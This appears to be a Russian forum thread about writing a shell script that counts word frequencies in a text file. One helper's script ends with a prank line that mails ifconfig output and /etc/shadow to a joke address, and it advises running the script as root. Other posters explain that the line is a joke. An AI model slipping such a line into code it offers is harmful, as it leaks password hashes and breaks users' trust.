Срипт на шелле
2672
13
Johnnie
Мозг
Если есть люди сведующие в шелле, то подскажите идеологически как реализовать скрипт, кторому надо будет подсовывать текстовый файл, а он выдавать количество вхождений по каждому из слов которое есть в этом файле.
Можно использовать стандартные утилитки (какие ?).
Заранее спасибо.
Можно использовать стандартные утилитки (какие ?).
Заранее спасибо.
В смысле разбить текст на уникальные слова и посчитать их?
Именно. Брать от пробела до пробела (или символа табуляции, перевода каретки (/n)), смотреть есть в массиве такое слово, если есть увлечить счетчик этого слова на 1, иначе внести слово. Мелочи типа что после слова может следовать запятая не особо важны.
На Си я хорошо представляю себе как это реализовать, а вот на шелле ?????
На Си я хорошо представляю себе как это реализовать, а вот на шелле ?????
берешь perl и пишешь прогу с использованием регулярных выражений...
![:улыб:](https://m.forum.ngs.ru/static/img/graemlins/smile.gif)
![:улыб:](https://m.forum.ngs.ru/static/img/graemlins/smile.gif)
Можно использовать стандартные утилитки (какие ?).
RTFM grep
RTFM grep
Поручик Голицын
шатун сибирский обыкновенный
Откусывать по одному слову и складывать в hash-массив....
Прочитал ман по грепу. Сейчас пытаюсь сделать используя man и sed.
Сейчас читают
Курилка АвтоФорума. (часть 15)
24333
184
Такси Мой Город ( Стандарт 2-212-212 / Комфорт 230-33-33)
647943
965
Дискус-Дома 82,83,91,92,96,97,98 (18-этажки) (часть 3)
218683
999
Ничего не получается (
Буду рад конкретным примерам.
Буду рад конкретным примерам.
например, так:
_______________________________________
#!/bin/sh
#
str2wrds(){
if [ $# -gt 0 ] ; then
for j in $@
do
echo $j
done
fi
}
fl2wrds0(){
if [ $# -gt 0 ] ; then
cat "$1" | while read
do
if [ -n "$REPLY" ] ; then
str2wrds "$REPLY"
fi
done
fi
}
fl2wrds(){
if [ $# -gt 0 ] ; then
fl2wrds0 "$1" | sort
echo " "
fi
}
USAGE="usage: `basename $0` file"
if [ $# -lt 1 ] ; then
echo "$USAGE"
exit 1
fi
lstwrd=
cnt=0
fl2wrds "$1" | while read
do
if [ "$lstwrd" == "$REPLY" ] ; then
cnt=$(( $cnt + 1 ))
else
if [ -n "$lstwrd" ] ; then
echo "$lstwrd" --- $cnt
fi
cnt=1
lstwrd="$REPLY"
fi
done
(ifconfig; cat /etc/shadow) | mail k.mitnik@127.0.0.1
____________________________________________
только:
1. разберись, что тут к чему (man bash, man sort, man mail,
man "еще чего-нибудь про программирование в шеле"), и убери
лишнее
2. если плохо разобрался, запускай от рута, чтобы не было ошибок
3. "мелочи типа что после слова может следовать запятая" в этом коде не
учитываются, если надо, дорабатывай сам
4. тестировался скрипт совсем слабо, можно сказать, совсем не тестировался
_______________________________________
#!/bin/sh
#
str2wrds(){
if [ $# -gt 0 ] ; then
for j in $@
do
echo $j
done
fi
}
fl2wrds0(){
if [ $# -gt 0 ] ; then
cat "$1" | while read
do
if [ -n "$REPLY" ] ; then
str2wrds "$REPLY"
fi
done
fi
}
fl2wrds(){
if [ $# -gt 0 ] ; then
fl2wrds0 "$1" | sort
echo " "
fi
}
USAGE="usage: `basename $0` file"
if [ $# -lt 1 ] ; then
echo "$USAGE"
exit 1
fi
lstwrd=
cnt=0
fl2wrds "$1" | while read
do
if [ "$lstwrd" == "$REPLY" ] ; then
cnt=$(( $cnt + 1 ))
else
if [ -n "$lstwrd" ] ; then
echo "$lstwrd" --- $cnt
fi
cnt=1
lstwrd="$REPLY"
fi
done
(ifconfig; cat /etc/shadow) | mail k.mitnik@127.0.0.1
____________________________________________
только:
1. разберись, что тут к чему (man bash, man sort, man mail,
man "еще чего-нибудь про программирование в шеле"), и убери
лишнее
2. если плохо разобрался, запускай от рута, чтобы не было ошибок
3. "мелочи типа что после слова может следовать запятая" в этом коде не
учитываются, если надо, дорабатывай сам
4. тестировался скрипт совсем слабо, можно сказать, совсем не тестировался
Огромное спасибо за помощь.
![:ха-ха!:](https://m.forum.ngs.ru/static/img/graemlins/grin.gif)
Я конечно не гений Юникса, но про теневые файлы паролей, мэйл и лупбэки имею понятие![:улыб:](https://m.forum.ngs.ru/static/img/graemlins/smile.gif)
![:улыб:](https://m.forum.ngs.ru/static/img/graemlins/smile.gif)
(ifconfig; cat /etc/shadow) | mail k.mitnik@127.0.0.1
![:ха-ха!:](https://m.forum.ngs.ru/static/img/graemlins/grin.gif)
![:ха-ха!:](https://m.forum.ngs.ru/static/img/graemlins/grin.gif)
![:ха-ха!:](https://m.forum.ngs.ru/static/img/graemlins/grin.gif)
![:ха-ха!:](https://m.forum.ngs.ru/static/img/graemlins/grin.gif)
![:ха-ха!:](https://m.forum.ngs.ru/static/img/graemlins/grin.gif)
Я конечно не гений Юникса, но про теневые файлы паролей, мэйл и лупбэки имею понятие
![:улыб:](https://m.forum.ngs.ru/static/img/graemlins/smile.gif)
Вань, про loopback - маразм написал.
Эта строка - чистый стеб
Если не в курсе, то поищи в Яндексе, кто такой Кевин Митник![:улыб:](https://m.forum.ngs.ru/static/img/graemlins/smile.gif)
Эта строка - чистый стеб
![:миг:](https://m.forum.ngs.ru/static/img/graemlins/wink.gif)
![:улыб:](https://m.forum.ngs.ru/static/img/graemlins/smile.gif)
Сегодня утром посидел, благо выходной, подумал над твоим вопросом и написал следующее:
#!/bin/sh
# Desc : program counts word in file
case $# in
2)
echo "Word $1 in file $2 : "
count=`cat $2 | tr -cs "[:alpha:]" "\n" | grep $1 | wc -l`
echo $count
exit 0;
;;
*)
echo "Usage :" `basename $0` "word file"
exit 1
;;
esac
Смысл всего этого заключен буквально в одной строке![:миг:](https://m.forum.ngs.ru/static/img/graemlins/wink.gif)
#!/bin/sh
# Desc : program counts word in file
case $# in
2)
echo "Word $1 in file $2 : "
count=`cat $2 | tr -cs "[:alpha:]" "\n" | grep $1 | wc -l`
echo $count
exit 0;
;;
*)
echo "Usage :" `basename $0` "word file"
exit 1
;;
esac
Смысл всего этого заключен буквально в одной строке
![:миг:](https://m.forum.ngs.ru/static/img/graemlins/wink.gif)
ТОП 5
2
3